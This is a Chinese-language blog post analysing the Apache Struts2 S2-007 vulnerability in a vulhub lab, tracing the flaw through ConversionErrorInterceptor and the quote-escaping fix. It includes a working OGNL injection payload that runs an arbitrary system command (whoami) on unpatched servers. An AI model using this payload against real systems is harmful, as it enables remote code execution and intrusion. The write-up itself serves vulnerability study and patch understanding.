Kingkk's Blog.

【Struts2-命令-代码执行漏洞分析系列】S2-007

2018/08/31 Share

前言

继上回S2-001之后,继续分析了S2-007,若有疏漏,还望多多指教。

漏洞环境根据vulhub中的环境修改而来 https://github.com/vulhub/vulhub/tree/master/struts2/s2-007

这回的S2-007和上回的S2-001漏洞环境地址 https://github.com/kingkaki/Struts2-Vulenv

有感兴趣的师傅可以一起分析下

漏洞信息

官方漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-007

形成原因:

User input is evaluated as an OGNL expression when there’s a conversion error. This allows a malicious user to execute arbitrary code.

当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了OGNL语句的执行。

漏洞利用

这里我配置了一个UserAction-validation.xml验证表单

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>

限制了age的值只能为int,而且长度在1-150之间

然后在登录界面用户名和邮箱值随意,age部分改为我们的payload

1
'+(#application)+'

在age的value部分,成功有了回显

命令执行

1
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27

修改whoami部分就可以执行任意命令

漏洞分析

漏洞主要发生在S2-007/web/WEB-INF/lib/xwork-core-2.2.3.jar!/com/opensymphony/xwork2/interceptor/ConversionErrorInterceptor.class:28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public String intercept(ActionInvocation invocation) throws Exception {
ActionContext invocationContext = invocation.getInvocationContext();
Map<String, Object> conversionErrors = invocationContext.getConversionErrors();
ValueStack stack = invocationContext.getValueStack();
HashMap<Object, Object> fakie = null;
Iterator i$ = conversionErrors.entrySet().iterator();

while(i$.hasNext()) {
Entry<String, Object> entry = (Entry)i$.next();
String propertyName = (String)entry.getKey();
Object value = entry.getValue();
if (this.shouldAddError(propertyName, value)) {
String message = XWorkConverter.getConversionErrorMessage(propertyName, stack);
Object action = invocation.getAction();
if (action instanceof ValidationAware) {
ValidationAware va = (ValidationAware)action;
va.addFieldError(propertyName, message);
}

if (fakie == null) {
fakie = new HashMap();
}

fakie.put(propertyName, this.getOverrideExpr(invocation, value));
}
}

if (fakie != null) {
stack.getContext().put("original.property.override", fakie);
invocation.addPreResultListener(new PreResultListener() {
public void beforeResult(ActionInvocation invocation, String resultCode) {
Map<Object, Object> fakie = (Map)invocation.getInvocationContext().get("original.property.override");
if (fakie != null) {
invocation.getStack().setExprOverrides(fakie);
}

}
});
}

return invocation.invoke();
}

当类型出现错误的时候,就会进入这个函数

这里可以看到,在Object value = entry.getValue();中取出了传入的payload

再来到后面的fakie.put(propertyName, this.getOverrideExpr(invocation, value));

跟进this.getOverrideExpr(invocation, value);

1
2
3
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
return "'" + value + "'";
}

这也就解释了为什么payload的两端要加'++'就是为了闭合这里的两端的引号

对放入fakie的value值就变成了''+(#xxxx)+''的形式

进在后面放入了invocation值中,最后调用了invoke()解析OGNL成功代码执行

漏洞修复

struts2.2.3.1对这个漏洞进行了修复,修复方法也异常简单,类似于sql注入的addslashes,对其中的单引号进行了转义

getOverrideExpr函数中进行了StringEscape,从而无法闭合单引号,也就无法构造OGNL表达式

Reference Links

https://github.com/vulhub/vulhub/tree/master/struts2/s2-007

https://cwiki.apache.org/confluence/display/WW/S2-007

https://issues.apache.org/jira/browse/WW-3668

CATALOG
  1. 1. 前言
  2. 2. 漏洞信息
  3. 3. 漏洞利用
  4. 4. 漏洞分析
  5. 5. 漏洞修复
  6. 6. Reference Links